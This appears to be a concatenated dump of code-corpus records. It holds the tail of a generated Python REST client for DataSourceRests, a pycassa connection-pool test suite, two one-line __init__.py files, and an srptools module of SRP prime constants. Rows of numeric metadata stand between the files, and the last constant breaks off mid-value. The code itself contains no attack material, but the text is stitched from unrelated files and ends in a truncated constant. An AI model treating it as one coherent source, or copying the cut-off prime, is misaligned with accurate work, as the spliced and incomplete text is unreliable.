path_params = {}
if 'id' in params:
path_params['id'] = params['id']
query_params = {}
if 'refresh' in params:
query_params['refresh'] = params['refresh']
header_params = {}
form_params = []
local_var_files = {}
body_params = None
# HTTP header `Accept`
header_params['Accept'] = self.api_client.\
select_header_accept(['application/json', 'application/xml', 'text/xml', 'application/javascript', 'text/javascript'])
if not header_params['Accept']:
del header_params['Accept']
# HTTP header `Content-Type`
header_params['Content-Type'] = self.api_client.\
select_header_content_type(['application/json', 'application/x-www-form-urlencoded', 'application/xml', 'text/xml'])
# Authentication setting
auth_settings = ['access_token']
return self.api_client.call_api(resource_path, 'GET',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type='Team',
auth_settings=auth_settings,
callback=params.get('callback'),
_return_http_data_only=params.get('_return_http_data_only'),
collection_formats=collection_formats)
def data_source_rests_post(self, **kwargs):
"""
Create a new instance of the model and persist it into the data source.
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please define a `callback` function
to be invoked when receiving the response.
>>> def callback_function(response):
>>> pprint(response)
>>>
>>> thread = api.data_source_rests_post(callback=callback_function)
:param callback function: The callback function
for asynchronous request. (optional)
:param DataSourceRest data: Model instance data
:return: DataSourceRest
If the method is called asynchronously,
returns the request thread.
"""
kwargs['_return_http_data_only'] = True
if kwargs.get('callback'):
return self.data_source_rests_post_with_http_info(**kwargs)
else:
(data) = self.data_source_rests_post_with_http_info(**kwargs)
return data
def data_source_rests_post_with_http_info(self, **kwargs):
"""
Create a new instance of the model and persist it into the data source.
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please define a `callback` function
to be invoked when receiving the response.
>>> def callback_function(response):
>>> pprint(response)
>>>
>>> thread = api.data_source_rests_post_with_http_info(callback=callback_function)
:param callback function: The callback function
for asynchronous request. (optional)
:param DataSourceRest data: Model instance data
:return: DataSourceRest
If the method is called asynchronously,
returns the request thread.
"""
all_params = ['data']
all_params.append('callback')
all_params.append('_return_http_data_only')
params = locals()
for key, val in iteritems(params['kwargs']):
if key not in all_params:
raise TypeError(
"Got an unexpected keyword argument '%s'"
" to method data_source_rests_post" % key
)
params[key] = val
del params['kwargs']
collection_formats = {}
resource_path = '/DataSourceRests'.replace('{format}', 'json')
path_params = {}
query_params = {}
header_params = {}
form_params = []
local_var_files = {}
body_params = None
if 'data' in params:
body_params = params['data']
# HTTP header `Accept`
header_params['Accept'] = self.api_client.\
select_header_accept(['application/json', 'application/xml', 'text/xml', 'application/javascript', 'text/javascript'])
if not header_params['Accept']:
del header_params['Accept']
# HTTP header `Content-Type`
header_params['Content-Type'] = self.api_client.\
select_header_content_type(['application/json', 'application/x-www-form-urlencoded', 'application/xml', 'text/xml'])
# Authentication setting
auth_settings = ['access_token']
return self.api_client.call_api(resource_path, 'POST',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type='DataSourceRest',
auth_settings=auth_settings,
callback=params.get('callback'),
_return_http_data_only=params.get('_return_http_data_only'),
collection_formats=collection_formats)
| 41.434322
| 165
| 0.568513
| 10,125
| 97,785
| 5.248691
| 0.026667
| 0.063226
| 0.046572
| 0.039347
| 0.977909
| 0.976535
| 0.97503
| 0.968481
| 0.96453
| 0.962686
| 0
| 0.000925
| 0.347569
| 97,785
| 2,359
| 166
| 41.451886
| 0.832064
| 0.316879
| 0
| 0.837104
| 0
| 0
| 0.182388
| 0.07311
| 0
| 0
| 0
| 0
| 0
| 1
| 0.038914
| false
| 0
| 0.006335
| 0
| 0.103167
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
5e49b3550c2e09beca93e8fe1361e62cf27d1f1d
| 21,301
|
py
|
Python
|
tests/test_connection_pooling.py
|
ckwang8128/pycassa
|
b314d5fa4e6ba1219850f50d767aa0be5ed5ca5f
|
[
"MIT"
] | 64
|
2015-03-11T02:21:57.000Z
|
2022-02-23T17:28:38.000Z
|
tests/test_connection_pooling.py
|
ckwang8128/pycassa
|
b314d5fa4e6ba1219850f50d767aa0be5ed5ca5f
|
[
"MIT"
] | 6
|
2015-04-07T23:49:23.000Z
|
2019-09-26T18:08:50.000Z
|
tests/test_connection_pooling.py
|
ckwang8128/pycassa
|
b314d5fa4e6ba1219850f50d767aa0be5ed5ca5f
|
[
"MIT"
] | 33
|
2015-02-06T16:51:23.000Z
|
2021-08-17T13:38:53.000Z
|
import threading
import unittest
import time
from nose.tools import assert_raises, assert_equal, assert_true
from pycassa import ColumnFamily, ConnectionPool, InvalidRequestError,\
NoConnectionAvailable, MaximumRetryException, AllServersUnavailable
from pycassa.logging.pool_stats_logger import StatsLogger
from pycassa.cassandra.ttypes import ColumnPath
from pycassa.cassandra.ttypes import InvalidRequestException
from pycassa.cassandra.ttypes import NotFoundException
_credentials = {'username': 'jsmith', 'password': 'havebadpass'}
def _get_list():
return ['foo:bar']
class PoolingCase(unittest.TestCase):
def tearDown(self):
pool = ConnectionPool('PycassaTestKeyspace')
cf = ColumnFamily(pool, 'Standard1')
for key, cols in cf.get_range():
cf.remove(key)
def test_basic_pools(self):
pool = ConnectionPool('PycassaTestKeyspace', credentials=_credentials)
cf = ColumnFamily(pool, 'Standard1')
cf.insert('key1', {'col': 'val'})
pool.dispose()
def test_empty_list(self):
assert_raises(AllServersUnavailable, ConnectionPool, 'PycassaTestKeyspace', server_list=[])
def test_server_list_func(self):
stats_logger = StatsLoggerWithListStorage()
pool = ConnectionPool('PycassaTestKeyspace', server_list=_get_list,
listeners=[stats_logger], prefill=False)
assert_equal(stats_logger.serv_list, ['foo:bar'])
assert_equal(stats_logger.stats['list'], 1)
pool.dispose()
def test_queue_pool(self):
stats_logger = StatsLoggerWithListStorage()
pool = ConnectionPool(pool_size=5, max_overflow=5, recycle=10000,
prefill=True, pool_timeout=0.1, timeout=1,
keyspace='PycassaTestKeyspace', credentials=_credentials,
listeners=[stats_logger], use_threadlocal=False)
conns = []
for i in range(10):
conns.append(pool.get())
assert_equal(stats_logger.stats['created']['success'], 10)
assert_equal(stats_logger.stats['checked_out'], 10)
# Pool is maxed out now
assert_raises(NoConnectionAvailable, pool.get)
assert_equal(stats_logger.stats['created']['success'], 10)
assert_equal(stats_logger.stats['at_max'], 1)
for i in range(0, 5):
pool.return_conn(conns[i])
assert_equal(stats_logger.stats['disposed']['success'], 0)
assert_equal(stats_logger.stats['checked_in'], 5)
for i in range(5, 10):
pool.return_conn(conns[i])
assert_equal(stats_logger.stats['disposed']['success'], 5)
assert_equal(stats_logger.stats['checked_in'], 10)
conns = []
# These connections should come from the pool
for i in range(5):
conns.append(pool.get())
assert_equal(stats_logger.stats['created']['success'], 10)
assert_equal(stats_logger.stats['checked_out'], 15)
# But these will need to be made
for i in range(5):
conns.append(pool.get())
assert_equal(stats_logger.stats['created']['success'], 15)
assert_equal(stats_logger.stats['checked_out'], 20)
assert_equal(stats_logger.stats['disposed']['success'], 5)
for i in range(10):
conns[i].return_to_pool()
assert_equal(stats_logger.stats['checked_in'], 20)
assert_equal(stats_logger.stats['disposed']['success'], 10)
assert_raises(InvalidRequestError, conns[0].return_to_pool)
assert_equal(stats_logger.stats['checked_in'], 20)
assert_equal(stats_logger.stats['disposed']['success'], 10)
print "in test:", id(conns[-1])
conns[-1].return_to_pool()
assert_equal(stats_logger.stats['checked_in'], 20)
assert_equal(stats_logger.stats['disposed']['success'], 10)
pool.dispose()
def test_queue_pool_threadlocal(self):
stats_logger = StatsLoggerWithListStorage()
pool = ConnectionPool(pool_size=5, max_overflow=5, recycle=10000,
prefill=True, pool_timeout=0.01, timeout=1,
keyspace='PycassaTestKeyspace', credentials=_credentials,
listeners=[stats_logger], use_threadlocal=True)
conns = []
assert_equal(stats_logger.stats['created']['success'], 5)
# These connections should all be the same
for i in range(10):
conns.append(pool.get())
assert_equal(stats_logger.stats['created']['success'], 5)
assert_equal(stats_logger.stats['checked_out'], 1)
for i in range(0, 5):
pool.return_conn(conns[i])
assert_equal(stats_logger.stats['checked_in'], 1)
for i in range(5, 10):
pool.return_conn(conns[i])
assert_equal(stats_logger.stats['checked_in'], 1)
conns = []
assert_equal(stats_logger.stats['created']['success'], 5)
# A single connection should come from the pool
for i in range(5):
conns.append(pool.get())
assert_equal(stats_logger.stats['created']['success'], 5)
assert_equal(stats_logger.stats['checked_out'], 2)
for conn in conns:
pool.return_conn(conn)
conns = []
threads = []
stats_logger.reset()
def checkout_return():
conn = pool.get()
time.sleep(1)
pool.return_conn(conn)
for i in range(5):
threads.append(threading.Thread(target=checkout_return))
threads[-1].start()
for thread in threads:
thread.join()
assert_equal(stats_logger.stats['created']['success'], 0) # Still 5 connections in pool
assert_equal(stats_logger.stats['checked_out'], 5)
assert_equal(stats_logger.stats['checked_in'], 5)
# These should come from the pool
threads = []
for i in range(5):
threads.append(threading.Thread(target=checkout_return))
threads[-1].start()
for thread in threads:
thread.join()
assert_equal(stats_logger.stats['created']['success'], 0)
assert_equal(stats_logger.stats['checked_out'], 10)
assert_equal(stats_logger.stats['checked_in'], 10)
pool.dispose()
def test_queue_pool_no_prefill(self):
stats_logger = StatsLoggerWithListStorage()
pool = ConnectionPool(pool_size=5, max_overflow=5, recycle=10000,
prefill=False, pool_timeout=0.1, timeout=1,
keyspace='PycassaTestKeyspace', credentials=_credentials,
listeners=[stats_logger], use_threadlocal=False)
conns = []
for i in range(10):
conns.append(pool.get())
assert_equal(stats_logger.stats['created']['success'], i + 1)
assert_equal(stats_logger.stats['checked_out'], i + 1)
# Pool is maxed out now
assert_raises(NoConnectionAvailable, pool.get)
assert_equal(stats_logger.stats['created']['success'], 10)
assert_equal(stats_logger.stats['at_max'], 1)
for i in range(0, 5):
pool.return_conn(conns[i])
assert_equal(stats_logger.stats['checked_in'], i + 1)
assert_equal(stats_logger.stats['disposed']['success'], 0)
for i in range(5, 10):
pool.return_conn(conns[i])
assert_equal(stats_logger.stats['checked_in'], i + 1)
assert_equal(stats_logger.stats['disposed']['success'], (i - 5) + 1)
conns = []
# These connections should come from the pool
for i in range(5):
conns.append(pool.get())
assert_equal(stats_logger.stats['created']['success'], 10)
assert_equal(stats_logger.stats['checked_out'], (i + 10) + 1)
# But these will need to be made
for i in range(5):
conns.append(pool.get())
assert_equal(stats_logger.stats['created']['success'], (i + 10) + 1)
assert_equal(stats_logger.stats['checked_out'], (i + 15) + 1)
assert_equal(stats_logger.stats['disposed']['success'], 5)
for i in range(10):
conns[i].return_to_pool()
assert_equal(stats_logger.stats['checked_in'], (i + 10) + 1)
assert_equal(stats_logger.stats['disposed']['success'], 10)
# Make sure a double return doesn't change our counts
assert_raises(InvalidRequestError, conns[0].return_to_pool)
assert_equal(stats_logger.stats['checked_in'], 20)
assert_equal(stats_logger.stats['disposed']['success'], 10)
conns[-1].return_to_pool()
assert_equal(stats_logger.stats['checked_in'], 20)
assert_equal(stats_logger.stats['disposed']['success'], 10)
pool.dispose()
def test_queue_pool_recycle(self):
stats_logger = StatsLoggerWithListStorage()
pool = ConnectionPool(pool_size=5, max_overflow=5, recycle=1,
prefill=True, pool_timeout=0.5, timeout=1,
keyspace='PycassaTestKeyspace', credentials=_credentials,
listeners=[stats_logger], use_threadlocal=False)
cf = ColumnFamily(pool, 'Standard1')
columns = {'col1': 'val', 'col2': 'val'}
for i in range(10):
cf.insert('key', columns)
assert_equal(stats_logger.stats['recycled'], 5)
pool.dispose()
stats_logger.reset()
# Try with threadlocal=True
pool = ConnectionPool(pool_size=5, max_overflow=5, recycle=1,
prefill=False, pool_timeout=0.5, timeout=1,
keyspace='PycassaTestKeyspace', credentials=_credentials,
listeners=[stats_logger], use_threadlocal=True)
cf = ColumnFamily(pool, 'Standard1')
for i in range(10):
cf.insert('key', columns)
pool.dispose()
assert_equal(stats_logger.stats['recycled'], 5)
def test_pool_connection_failure(self):
stats_logger = StatsLoggerWithListStorage()
def get_extra():
"""Make failure count adjustments based on whether or not
the permuted list starts with a good host:port"""
if stats_logger.serv_list[0] == 'localhost:9160':
return 0
else:
return 1
pool = ConnectionPool(pool_size=5, max_overflow=5, recycle=10000, prefill=True,
keyspace='PycassaTestKeyspace', credentials=_credentials,
pool_timeout=0.01, timeout=0.05,
listeners=[stats_logger], use_threadlocal=False,
server_list=['localhost:9160', 'foobar:1'])
assert_equal(stats_logger.stats['failed'], 4 + get_extra())
for i in range(0, 7):
pool.get()
assert_equal(stats_logger.stats['failed'], 6 + get_extra())
pool.dispose()
stats_logger.reset()
pool = ConnectionPool(pool_size=5, max_overflow=5, recycle=10000, prefill=True,
keyspace='PycassaTestKeyspace', credentials=_credentials,
pool_timeout=0.01, timeout=0.05,
listeners=[stats_logger], use_threadlocal=True,
server_list=['localhost:9160', 'foobar:1'])
assert_equal(stats_logger.stats['failed'], 4 + get_extra())
threads = []
for i in range(0, 7):
threads.append(threading.Thread(target=pool.get))
threads[-1].start()
for thread in threads:
thread.join()
assert_equal(stats_logger.stats['failed'], 6 + get_extra())
pool.dispose()
def test_queue_failover(self):
for prefill in (True, False):
stats_logger = StatsLoggerWithListStorage()
pool = ConnectionPool(pool_size=1, max_overflow=0, recycle=10000,
prefill=prefill, timeout=1,
keyspace='PycassaTestKeyspace', credentials=_credentials,
listeners=[stats_logger], use_threadlocal=False,
server_list=['localhost:9160', 'localhost:9160'])
cf = ColumnFamily(pool, 'Standard1')
for i in range(1, 5):
conn = pool.get()
setattr(conn, 'send_batch_mutate', conn._fail_once)
conn._should_fail = True
conn.return_to_pool()
# The first insert attempt should fail, but failover should occur
# and the insert should succeed
cf.insert('key', {'col': 'val%d' % i, 'col2': 'val'})
assert_equal(stats_logger.stats['failed'], i)
assert_equal(cf.get('key'), {'col': 'val%d' % i, 'col2': 'val'})
pool.dispose()
def test_queue_threadlocal_failover(self):
stats_logger = StatsLoggerWithListStorage()
pool = ConnectionPool(pool_size=1, max_overflow=0, recycle=10000,
prefill=True, timeout=0.05,
keyspace='PycassaTestKeyspace', credentials=_credentials,
listeners=[stats_logger], use_threadlocal=True,
server_list=['localhost:9160', 'localhost:9160'])
cf = ColumnFamily(pool, 'Standard1')
for i in range(1, 5):
conn = pool.get()
setattr(conn, 'send_batch_mutate', conn._fail_once)
conn._should_fail = True
conn.return_to_pool()
# The first insert attempt should fail, but failover should occur
# and the insert should succeed
cf.insert('key', {'col': 'val%d' % i, 'col2': 'val'})
assert_equal(stats_logger.stats['failed'], i)
assert_equal(cf.get('key'), {'col': 'val%d' % i, 'col2': 'val'})
pool.dispose()
stats_logger.reset()
pool = ConnectionPool(pool_size=5, max_overflow=5, recycle=10000,
prefill=True, timeout=0.05,
keyspace='PycassaTestKeyspace', credentials=_credentials,
listeners=[stats_logger], use_threadlocal=True,
server_list=['localhost:9160', 'localhost:9160'])
cf = ColumnFamily(pool, 'Standard1')
for i in range(5):
conn = pool.get()
setattr(conn, 'send_batch_mutate', conn._fail_once)
conn._should_fail = True
conn.return_to_pool()
threads = []
args = ('key', {'col': 'val', 'col2': 'val'})
for i in range(5):
threads.append(threading.Thread(target=cf.insert, args=args))
threads[-1].start()
for thread in threads:
thread.join()
assert_equal(stats_logger.stats['failed'], 5)
pool.dispose()
def test_queue_retry_limit(self):
for prefill in (True, False):
stats_logger = StatsLoggerWithListStorage()
pool = ConnectionPool(pool_size=5, max_overflow=5, recycle=10000,
prefill=prefill, max_retries=3, # allow 3 retries
keyspace='PycassaTestKeyspace', credentials=_credentials,
listeners=[stats_logger], use_threadlocal=False,
server_list=['localhost:9160', 'localhost:9160'])
# Corrupt all of the connections
for i in range(5):
conn = pool.get()
setattr(conn, 'send_batch_mutate', conn._fail_once)
conn._should_fail = True
conn.return_to_pool()
cf = ColumnFamily(pool, 'Standard1')
assert_raises(MaximumRetryException, cf.insert, 'key', {'col': 'val', 'col2': 'val'})
assert_equal(stats_logger.stats['failed'], 4) # On the 4th failure, didn't retry
pool.dispose()
def test_queue_failure_on_retry(self):
stats_logger = StatsLoggerWithListStorage()
pool = ConnectionPool(pool_size=5, max_overflow=5, recycle=10000,
prefill=True, max_retries=3, # allow 3 retries
keyspace='PycassaTestKeyspace', credentials=_credentials,
listeners=[stats_logger], use_threadlocal=False,
server_list=['localhost:9160', 'localhost:9160'])
def raiser():
raise IOError
# Replace wrapper will open a connection to get the version, so if it
# fails we need to retry as with any other connection failure
pool._replace_wrapper = raiser
# Corrupt all of the connections
for i in range(5):
conn = pool.get()
setattr(conn, 'send_batch_mutate', conn._fail_once)
conn._should_fail = True
conn.return_to_pool()
cf = ColumnFamily(pool, 'Standard1')
assert_raises(MaximumRetryException, cf.insert, 'key', {'col': 'val', 'col2': 'val'})
assert_equal(stats_logger.stats['failed'], 4) # On the 4th failure, didn't retry
pool.dispose()
def test_queue_threadlocal_retry_limit(self):
stats_logger = StatsLoggerWithListStorage()
pool = ConnectionPool(pool_size=5, max_overflow=5, recycle=10000,
prefill=True, max_retries=3, # allow 3 retries
keyspace='PycassaTestKeyspace', credentials=_credentials,
listeners=[stats_logger], use_threadlocal=True,
server_list=['localhost:9160', 'localhost:9160'])
# Corrupt all of the connections
for i in range(5):
conn = pool.get()
setattr(conn, 'send_batch_mutate', conn._fail_once)
conn._should_fail = True
conn.return_to_pool()
cf = ColumnFamily(pool, 'Standard1')
assert_raises(MaximumRetryException, cf.insert, 'key', {'col': 'val', 'col2': 'val'})
assert_equal(stats_logger.stats['failed'], 4) # On the 4th failure, didn't retry
pool.dispose()
def test_queue_failure_with_no_retries(self):
stats_logger = StatsLoggerWithListStorage()
pool = ConnectionPool(pool_size=5, max_overflow=5, recycle=10000,
prefill=True, max_retries=3, # allow 3 retries
keyspace='PycassaTestKeyspace', credentials=_credentials,
listeners=[stats_logger], use_threadlocal=False,
server_list=['localhost:9160', 'localhost:9160'])
# Corrupt all of the connections
for i in range(5):
conn = pool.get()
setattr(conn, 'send_batch_mutate', conn._fail_once)
conn._should_fail = True
conn.return_to_pool()
cf = ColumnFamily(pool, 'Counter1')
assert_raises(MaximumRetryException, cf.insert, 'key', {'col': 2, 'col2': 2})
assert_equal(stats_logger.stats['failed'], 1) # didn't retry at all
pool.dispose()
def test_failure_connection_info(self):
stats_logger = StatsLoggerRequestInfo()
pool = ConnectionPool(pool_size=1, max_overflow=0, recycle=10000,
prefill=True, max_retries=0,
keyspace='PycassaTestKeyspace', credentials=_credentials,
listeners=[stats_logger], use_threadlocal=True,
server_list=['localhost:9160'])
cf = ColumnFamily(pool, 'Counter1')
# Corrupt the connection
conn = pool.get()
setattr(conn, 'send_get', conn._fail_once)
conn._should_fail = True
conn.return_to_pool()
assert_raises(MaximumRetryException, cf.get, 'greunt', columns=['col'])
assert_true('request' in stats_logger.failure_dict['connection'].info)
request = stats_logger.failure_dict['connection'].info['request']
assert_equal(request['method'], 'get')
assert_equal(request['args'], ('greunt', ColumnPath('Counter1', None, 'col'), 1))
assert_equal(request['kwargs'], {})
def test_pool_invalid_request(self):
stats_logger = StatsLoggerWithListStorage()
pool = ConnectionPool(pool_size=1, max_overflow=0, recycle=10000,
prefill=True, max_retries=3,
keyspace='PycassaTestKeyspace',
credentials=_credentials,
listeners=[stats_logger], use_threadlocal=False,
server_list=['localhost:9160'])
cf = ColumnFamily(pool, 'Standard1')
# Make sure the pool doesn't hide and retries invalid requests
assert_raises(InvalidRequestException, cf.add, 'key', 'col')
assert_raises(NotFoundException, cf.get, 'none')
pool.dispose()
class StatsLoggerWithListStorage(StatsLogger):
def obtained_server_list(self, dic):
StatsLogger.obtained_server_list(self, dic)
self.serv_list = dic.get('server_list')
class StatsLoggerRequestInfo(StatsLogger):
def connection_failed(self, dic):
StatsLogger.connection_failed(self, dic)
self.failure_dict = dic
| 41.042389
| 99
| 0.599831
| 2,353
| 21,301
| 5.229069
| 0.092648
| 0.094766
| 0.087126
| 0.119798
| 0.808436
| 0.777796
| 0.760403
| 0.730007
| 0.707575
| 0.688557
| 0
| 0.02756
| 0.286278
| 21,301
| 518
| 100
| 41.121622
| 0.781754
| 0.052814
| 0
| 0.736434
| 0
| 0
| 0.097833
| 0
| 0
| 0
| 0
| 0
| 0.222222
| 0
| null | null | 0.002584
| 0.023256
| null | null | 0.002584
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 8
|
0d773e18b6c6e46ec6f751dabb87bf43e9fa060d
| 45
|
py
|
Python
|
array_processing/__init__.py
|
uafgeotools/array_processing
|
9ad464588aa162d36c9a90677784d6a8d7d4e6e8
|
[
"MIT"
] | 9
|
2020-09-10T09:01:53.000Z
|
2021-09-13T00:16:13.000Z
|
array_processing/__init__.py
|
uafgeotools/array_processing
|
9ad464588aa162d36c9a90677784d6a8d7d4e6e8
|
[
"MIT"
] | 7
|
2020-03-20T18:36:27.000Z
|
2021-01-20T16:05:41.000Z
|
array_processing/__init__.py
|
uafgeotools/array_processing
|
9ad464588aa162d36c9a90677784d6a8d7d4e6e8
|
[
"MIT"
] | 2
|
2020-04-16T08:43:01.000Z
|
2022-03-24T11:11:40.000Z
|
from . import algorithms
from . import tools
| 15
| 24
| 0.777778
| 6
| 45
| 5.833333
| 0.666667
| 0.571429
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.177778
| 45
| 2
| 25
| 22.5
| 0.945946
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 1
| 1
| 0
| null | 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 7
|
0d81c7185c04d571b732dcdedd8ce821572579fc
| 64
|
py
|
Python
|
hentaihavendev/__init__.py
|
unsecuring/hentaihavendev
|
ee5b7d1f5798b5422fa9e11d387eb91d8c948946
|
[
"MIT"
] | null | null | null |
hentaihavendev/__init__.py
|
unsecuring/hentaihavendev
|
ee5b7d1f5798b5422fa9e11d387eb91d8c948946
|
[
"MIT"
] | 2
|
2021-04-14T19:43:43.000Z
|
2022-02-03T01:22:44.000Z
|
hentaihavendev/__init__.py
|
unsecuring/hentaihavendev
|
ee5b7d1f5798b5422fa9e11d387eb91d8c948946
|
[
"MIT"
] | 1
|
2021-04-06T01:56:31.000Z
|
2021-04-06T01:56:31.000Z
|
from hentaihavendev import fact
from hentaihavendev import nsfw
| 32
| 32
| 0.875
| 8
| 64
| 7
| 0.625
| 0.642857
| 0.857143
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.125
| 64
| 2
| 33
| 32
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 1
| 0
| 0
| null | 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 7
|
0d9e9ae655367692e47e9262dca751d57716ee21
| 4,979
|
py
|
Python
|
srptools/constants.py
|
idlesign/srptools
|
35dd4a355e0723cdc1252eb346cff69b9073711d
|
[
"BSD-3-Clause"
] | 20
|
2017-02-13T15:16:18.000Z
|
2022-01-27T15:49:06.000Z
|
srptools/constants.py
|
idlesign/srptools
|
35dd4a355e0723cdc1252eb346cff69b9073711d
|
[
"BSD-3-Clause"
] | 10
|
2017-03-05T15:09:49.000Z
|
2022-01-28T05:44:45.000Z
|
srptools/constants.py
|
idlesign/srptools
|
35dd4a355e0723cdc1252eb346cff69b9073711d
|
[
"BSD-3-Clause"
] | 7
|
2017-03-11T07:50:09.000Z
|
2021-12-16T11:59:00.000Z
|
from __future__ import unicode_literals
import hashlib
HASH_SHA_1 = hashlib.sha1
HASH_SHA_256 = hashlib.sha256
PRIME_1024_GEN = '2'
PRIME_1024 = '''\
EEAF0AB9ADB38DD69C33F80AFA8FC5E86072618775FF3C0B9EA2314C9C256576D674DF74\
96EA81D3383B4813D692C6E0E0D5D8E250B98BE48E495C1D6089DAD15DC7D7B46154D6B6\
CE8EF4AD69B15D4982559B297BCF1885C529F566660E57EC68EDBC3C05726CC02FD4CBF4\
976EAA9AFD5138FE8376435B9FC61D2FC0EB06E3'''
PRIME_1536_GEN = '2'
PRIME_1536 = '''\
9DEF3CAFB939277AB1F12A8617A47BBBDBA51DF499AC4C80BEEEA9614B19CC4D5F4F5F55\
6E27CBDE51C6A94BE4607A291558903BA0D0F84380B655BB9A22E8DCDF028A7CEC67F0D0\
8134B1C8B97989149B609E0BE3BAB63D47548381DBC5B1FC764E3F4B53DD9DA1158BFD3E\
2B9C8CF56EDF019539349627DB2FD53D24B7C48665772E437D6C7F8CE442734AF7CCB7AE\
837C264AE3A9BEB87F8A2FE9B8B5292E5A021FFF5E91479E8CE7A28C2442C6F315180F93\
499A234DCF76E3FED135F9BB'''
PRIME_2048_GEN = '2'
PRIME_2048 = '''\
AC6BDB41324A9A9BF166DE5E1389582FAF72B6651987EE07FC3192943DB56050A37329CB\
B4A099ED8193E0757767A13DD52312AB4B03310DCD7F48A9DA04FD50E8083969EDB767B0\
CF6095179A163AB3661A05FBD5FAAAE82918A9962F0B93B855F97993EC975EEAA80D740A\
DBF4FF747359D041D5C33EA71D281E446B14773BCA97B43A23FB801676BD207A436C6481\
F1D2B9078717461A5B9D32E688F87748544523B524B0D57D5EA77A2775D2ECFA032CFBDB\
F52FB3786160279004E57AE6AF874E7303CE53299CCC041C7BC308D82A5698F3A8D0C382\
71AE35F8E9DBFBB694B5C803D89F7AE435DE236D525F54759B65E372FCD68EF20FA7111F\
9E4AFF73
'''
PRIME_3072_GEN = '5'
PRIME_3072 = '''\
FFFFFFFFFFFFFFFFC90FDAA22168C234C4C6628B80DC1CD129024E088A67CC74020BBEA6\
3B139B22514A08798E3404DDEF9519B3CD3A431B302B0A6DF25F14374FE1356D6D51C245\
E485B576625E7EC6F44C42E9A637ED6B0BFF5CB6F406B7EDEE386BFB5A899FA5AE9F2411\
7C4B1FE649286651ECE45B3DC2007CB8A163BF0598DA48361C55D39A69163FA8FD24CF5F\
83655D23DCA3AD961C62F356208552BB9ED529077096966D670C354E4ABC9804F1746C08\
CA18217C32905E462E36CE3BE39E772C180E86039B2783A2EC07A28FB5C55DF06F4C52C9\
DE2BCBF6955817183995497CEA956AE515D2261898FA051015728E5A8AAAC42DAD33170D\
04507A33A85521ABDF1CBA64ECFB850458DBEF0A8AEA71575D060C7DB3970F85A6E1E4C7\
ABF5AE8CDB0933D71E8C94E04A25619DCEE3D2261AD2EE6BF12FFA06D98A0864D8760273\
3EC86A64521F2B18177B200CBBE117577A615D6C770988C0BAD946E208E24FA074E5AB31\
43DB5BFCE0FD108E4B82D120A93AD2CAFFFFFFFFFFFFFFFF'''
PRIME_4096_GEN = '5'
PRIME_4096 = '''\
FFFFFFFFFFFFFFFFC90FDAA22168C234C4C6628B80DC1CD129024E088A67CC74020BBEA6\
3B139B22514A08798E3404DDEF9519B3CD3A431B302B0A6DF25F14374FE1356D6D51C245\
E485B576625E7EC6F44C42E9A637ED6B0BFF5CB6F406B7EDEE386BFB5A899FA5AE9F2411\
7C4B1FE649286651ECE45B3DC2007CB8A163BF0598DA48361C55D39A69163FA8FD24CF5F\
83655D23DCA3AD961C62F356208552BB9ED529077096966D670C354E4ABC9804F1746C08\
CA18217C32905E462E36CE3BE39E772C180E86039B2783A2EC07A28FB5C55DF06F4C52C9\
DE2BCBF6955817183995497CEA956AE515D2261898FA051015728E5A8AAAC42DAD33170D\
04507A33A85521ABDF1CBA64ECFB850458DBEF0A8AEA71575D060C7DB3970F85A6E1E4C7\
ABF5AE8CDB0933D71E8C94E04A25619DCEE3D2261AD2EE6BF12FFA06D98A0864D8760273\
3EC86A64521F2B18177B200CBBE117577A615D6C770988C0BAD946E208E24FA074E5AB31\
43DB5BFCE0FD108E4B82D120A92108011A723C12A787E6D788719A10BDBA5B2699C32718\
6AF4E23C1A946834B6150BDA2583E9CA2AD44CE8DBBBC2DB04DE8EF92E8EFC141FBECAA6\
287C59474E6BC05D99B2964FA090C3A2233BA186515BE7ED1F612970CEE2D7AFB81BDD76\
2170481CD0069127D5B05AA993B4EA988D8FDDC186FFB7DC90A6C08F4DF435C934063199\
FFFFFFFFFFFFFFFF'''
PRIME_6144_GEN = '5'
PRIME_6144 = '''\
FFFFFFFFFFFFFFFFC90FDAA22168C234C4C6628B80DC1CD129024E088A67CC74020BBEA6\
3B139B22514A08798E3404DDEF9519B3CD3A431B302B0A6DF25F14374FE1356D6D51C245\
E485B576625E7EC6F44C42E9A637ED6B0BFF5CB6F406B7EDEE386BFB5A899FA5AE9F2411\
7C4B1FE649286651ECE45B3DC2007CB8A163BF0598DA48361C55D39A69163FA8FD24CF5F\
83655D23DCA3AD961C62F356208552BB9ED529077096966D670C354E4ABC9804F1746C08\
CA18217C32905E462E36CE3BE39E772C180E86039B2783A2EC07A28FB5C55DF06F4C52C9\
